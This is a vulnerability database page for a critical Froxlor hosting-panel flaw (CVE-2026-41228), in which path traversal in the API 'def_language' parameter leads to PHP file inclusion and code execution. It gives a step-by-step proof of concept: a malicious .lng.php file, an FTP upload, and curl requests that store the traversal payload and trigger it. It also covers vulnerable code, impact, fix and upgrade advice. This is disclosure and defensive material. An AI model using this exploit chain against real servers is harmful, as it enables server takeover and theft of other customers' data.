Loading...
Skip to main content

CVE-2026-41228

CRITICAL

Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution

Published April 16, 2026Updated May 5, 2026Source: osv

Summary

## Summary The Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user. ## Details **Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter. The **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files: ```php // customer_index.php:260-265 $def_language = Validate::validate(Request::post('def_language'), 'default language'); if (isset($languages[$def_language])) { Customers::getLocal($userinfo, [ 'id' => $userinfo['customerid'], 'def_language' => $def_language ])->update(); ``` The **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\r\n\t\f\0]*$/D`, which permits path traversal sequences: ```php // Customers.php:1167-1172 (customer branch) } else { // allowed parameters $def_language = $this->getParam('def_language', true, $result['def_language']); ... } // Customers.php:1207 - validation (shared by admin and customer paths) $def_language = Validate::validate($def_language, 'default language', '', '', [], true); ``` The tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths: **API path** (`ApiCommand.php:218-222`): ```php private function initLang() { Language::setLanguage(Settings::Get('panel.standardlanguage')); if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) { Language::setLanguage($this->getUserDetail('language')); } elseif ($this->getUserDetail('def_language') !== null) { Language::setLanguage($this->getUserDetail('def_language')); // No validation } } ``` **Web path** (`init.php:180-185`): ```php if (CurrentUser::hasSession()) { if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) { Language::setLanguage(CurrentUser::getField('language')); } else { Language::setLanguage(CurrentUser::getField('def_language')); // No validation } } ``` The `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`. **File inclusion** (`Language.php:89-98`): ```php private static function loadLanguage($iso): array { $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso); if (!file_exists($languageFile)) { return []; } $lng = require $languageFile; // Arbitrary PHP execution ``` With `$iso = '../../../../../var/customers/webs/customer1/evil'`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory. ## PoC **Step 1 — Upload malicious language file via FTP:** Froxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema). ```bash # Create malicious .lng.php file echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php # Upload to customer web directory via FTP ftp panel.example.com > put evil.lng.php ``` The file is now at `/var/customers/webs/<loginname>/evil.lng.php`. **Step 2 — Set traversal payload via API:** ```bash curl -s -X POST https://panel.example.com/api \ -H 'Authorization: Basic <base64(apikey:apisecret)>' \ -d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}' ``` The traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`. **Step 3 — Trigger inclusion on next API call:** ```bash curl -s -X POST https://panel.example.com/api \ -H 'Authorization: Basic <base64(apikey:apisecret)>' \ -d '{"command":"Customers.get"}' ``` `ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` → `loadLanguage()` → `require /var/customers/webs/customer1/evil.lng.php`. **Step 4 — Verify execution:** ```bash cat /tmp/pwned # Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Impact An authenticated customer can execute arbitrary PHP code as the web server user. This enables: - **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration. - **Lateral movement:** Access other customers' databases, email, and files from the shared hosting environment. - **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access. - **Data exfiltration:** Read all hosted databases and email content across the panel. The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory. ## Recommended Fix Validate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior: ```php // In Customers.php, replace line 1207: // $def_language = Validate::validate($def_language, 'default language', '', '', [], true); // With: $def_language = Validate::validate($def_language, 'default language', '', '', [], true); if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) { $def_language = Settings::Get('panel.standardlanguage'); } ``` Apply the same fix in `Admins.php` at line 600. Additionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal: ```php private static function loadLanguage($iso): array { // Reject path traversal attempts if ($iso !== basename($iso) || str_contains($iso, '..')) { return []; } $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso); // ... } ```

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update froxlor/froxlor to 2.3.6 or later
composer require "froxlor/froxlor:^2.3.6"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
froxlor/froxlor
packagist
0.10.0, 0.10.0-rc1, 0.10.0-rc2, 0.10.1 (+103 more)2.3.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-41228?
Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
How do I check if my project is affected by CVE-2026-41228?
CVE-2026-41228 affects froxlor/froxlor. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-41228 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.9

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-w59f-67xm-rxx7

Related CVEs

  • CVE-2026-26279
    CRITICAL

    Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection

  • CVE-2023-6069
    CRITICAL

    Froxlor Improper Input Validation vulnerability

  • CVE-2026-62988
    CRITICAL

    Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints

  • CVE-2023-3173
    CRITICAL

    Froxlor vulnerable to Improper Restriction of Excessive Authentication Attempts

  • CVE-2026-41229
    CRITICAL

    Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

  • CVE-2026-54347
    HIGH

    Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover

  • CVE-2026-41230
    HIGH

    Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

  • CVE-2026-41235
    HIGH

    Froxlor has an authorization bypass in FTP shell assignment via missing server-side `available_shells` enforcement

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies